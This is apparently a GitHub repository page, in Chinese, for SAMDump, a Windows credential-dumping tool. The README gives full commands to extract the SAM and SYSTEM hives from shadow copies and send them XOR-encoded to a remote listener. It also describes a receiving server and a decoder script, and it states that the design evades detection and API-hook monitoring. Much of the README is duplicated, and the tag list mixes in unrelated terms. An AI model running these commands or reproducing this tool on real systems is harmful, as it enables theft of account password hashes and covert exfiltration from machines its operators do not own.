ricardojoserf/SAMDump
GitHub: ricardojoserf/SAMDump
利用VSS API从Windows卷影副本提取SAM和SYSTEM文件的凭证转储工具,支持NT API调用、XOR混淆和网络外发。
Stars: 344 | Forks: 45
# SAMDump
利用卷影复制服务 (VSS) 提取 Windows SAM 和 SYSTEM 文件,提供多种外发选项和 XOR 混淆功能:
- 使用 VSS 列出卷影副本,必要时创建新的副本
- 从卷影副本中提取 SAM 和 SYSTEM 文件
- 使用 NT API 调用进行文件操作 (*NtCreateFile*, *NtReadFile*, *NtWriteFile*)
- 支持 XOR 编码进行混淆
- 外发方式:本地保存或网络传输
该工具使用 C++、C#、Crystal 和 Python 实现,可在现代 Windows 版本上运行。
它需要提升的权限,如果创建了卷影副本,将在约 5 分钟后自动删除。
## 用法 ``` SAMDump.exe [OPTIONS] Options: --save-local [BOOL] Save locally (default: false) --output-dir DIR Output directory (default: C:\Windows\tasks) --send-remote [BOOL] Send remotely (default: false) --host IP Host for remote sending (default: 127.0.0.1) --port PORT Port for remote sending (default: 7777) --xor-encode [BOOL] XOR Encode (default: false) --xor-key KEY Enable XOR with specified key (default: SAMDump2025) --disk DISK Disk for shadow copy (default: C:\) --help Show this help ``` 不编码保存到本地: ``` SAMDump.exe --save-local --output-dir "C:\temp" ```  使用 XOR 编码保存到本地: ``` SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025" ```  使用 XOR 编码和默认密钥发送到远程服务器: ``` SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode ``` 
## 接收文件的服务器 *server.py* 是一个 Python 服务器,用于通过网络接收文件,支持自动 XOR 解码和文件名格式化: ``` python server.py [OPTIONS] Options: --host HOST IP address to listen on (default: 0.0.0.0) --port PORT Port to listen on (default: 7777) --xor-key KEY Key for XOR decoding (optional) ``` 在指定接口和端口上监听,并使用 XOR 密钥: ``` python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025" ```  文件名包含 IP 地址和日期,因此您可以从不同系统发送文件,实现流程自动化。
## 解码文件的脚本 *xor-decoder.py* 是一个 Python 脚本,用于在本地解码 XOR 编码的 SAM 和 SYSTEM 文件: ``` python xor-decoder.py [OPTIONS] Options: --sam SAM Path to encoded SAM file (required) --system SYSTEM Path to encoded SYSTEM file (required) --xor-key KEY XOR key for decoding (default: SAMDump2025) --output-dir DIR Output directory for decoded files (default: ./decoded) ``` 使用默认密钥解码: ``` python xor-decoder.py --sam sam.txt --system system.txt ```  使用自定义密钥和输出目录解码: ``` python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results ``` 
## 实现版本 该项目包含三种语言实现的版本: - **C++**: 初始实现 - **C#**: .NET 版本,具有更好的可移植性 - **Python**: 需要安装 `comtypes` 库 (`pip install comtypes`)
## 动机 我想自动化这个过程,我发现大多数 Windows 都运行着 VSS,但安全解决方案会检测到使用 *vssadmin* 创建卷影副本并提取这些文件,因为这是一种众所周知的技术。 该工具在使用远程传输模式时,无需写入目标文件系统即可提取文件;XOR 编码提供了基本的混淆,以规避基于签名的检测(即使在使用远程模式时)。 此外,它利用 NT API 调用来绕过某些监控和用户模式 API 挂钩。
## NT API 集成 该工具采用 NT 系统调用代替标准的 Windows API 函数,这可能会绕过一些常见的用户模式 API 挂钩监控: - `NtCreateFile` 和 `NtReadFile`:用于打开句柄并读取卷影副本中 SAM 和 SYSTEM 文件的字节 - `NtWriteFile`:用于在本地保存文件
## 致谢 感谢 [@vx-underground](https://x.com/vxunderground) 识别并建议优化导出地址表 (EAT) 遍历代码,用直接指针访问替代了不必要的 `NtReadVirtualMemory` 调用。
## 用法 ``` SAMDump.exe [OPTIONS] Options: --save-local [BOOL] Save locally (default: false) --output-dir DIR Output directory (default: C:\Windows\tasks) --send-remote [BOOL] Send remotely (default: false) --host IP Host for remote sending (default: 127.0.0.1) --port PORT Port for remote sending (default: 7777) --xor-encode [BOOL] XOR Encode (default: false) --xor-key KEY Enable XOR with specified key (default: SAMDump2025) --disk DISK Disk for shadow copy (default: C:\) --help Show this help ``` 不编码保存到本地: ``` SAMDump.exe --save-local --output-dir "C:\temp" ```  使用 XOR 编码保存到本地: ``` SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025" ```  使用 XOR 编码和默认密钥发送到远程服务器: ``` SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode ``` 
## 接收文件的服务器 *server.py* 是一个 Python 服务器,用于通过网络接收文件,支持自动 XOR 解码和文件名格式化: ``` python server.py [OPTIONS] Options: --host HOST IP address to listen on (default: 0.0.0.0) --port PORT Port to listen on (default: 7777) --xor-key KEY Key for XOR decoding (optional) ``` 在指定接口和端口上监听,并使用 XOR 密钥: ``` python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025" ```  文件名包含 IP 地址和日期,因此您可以从不同系统发送文件,实现流程自动化。
## 解码文件的脚本 *xor-decoder.py* 是一个 Python 脚本,用于在本地解码 XOR 编码的 SAM 和 SYSTEM 文件: ``` python xor-decoder.py [OPTIONS] Options: --sam SAM Path to encoded SAM file (required) --system SYSTEM Path to encoded SYSTEM file (required) --xor-key KEY XOR key for decoding (default: SAMDump2025) --output-dir DIR Output directory for decoded files (default: ./decoded) ``` 使用默认密钥解码: ``` python xor-decoder.py --sam sam.txt --system system.txt ```  使用自定义密钥和输出目录解码: ``` python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results ``` 
## 实现版本 该项目包含三种语言实现的版本: - **C++**: 初始实现 - **C#**: .NET 版本,具有更好的可移植性 - **Python**: 需要安装 `comtypes` 库 (`pip install comtypes`)
## 动机 我想自动化这个过程,我发现大多数 Windows 都运行着 VSS,但安全解决方案会检测到使用 *vssadmin* 创建卷影副本并提取这些文件,因为这是一种众所周知的技术。 该工具在使用远程传输模式时,无需写入目标文件系统即可提取文件;XOR 编码提供了基本的混淆,以规避基于签名的检测(即使在使用远程模式时)。 此外,它利用 NT API 调用来绕过某些监控和用户模式 API 挂钩。
## NT API 集成 该工具采用 NT 系统调用代替标准的 Windows API 函数,这可能会绕过一些常见的用户模式 API 挂钩监控: - `NtCreateFile` 和 `NtReadFile`:用于打开句柄并读取卷影副本中 SAM 和 SYSTEM 文件的字节 - `NtWriteFile`:用于在本地保存文件
## 致谢 感谢 [@vx-underground](https://x.com/vxunderground) 识别并建议优化导出地址表 (EAT) 遍历代码,用直接指针访问替代了不必要的 `NtReadVirtualMemory` 调用。
标签:C++, Conpot, Crystal, DNS 反向解析, NT API, Python, SAM数据库, SYSTEM文件, Volume Shadow Copy, VSS, Windows安全, XOR混淆, 凭据转储, 攻击路径可视化, 数据擦除, 数据渗出, 无后门, 特权提升, 离线解密, 自动化部署, 逆向工具, 阴影拷贝, 黑客工具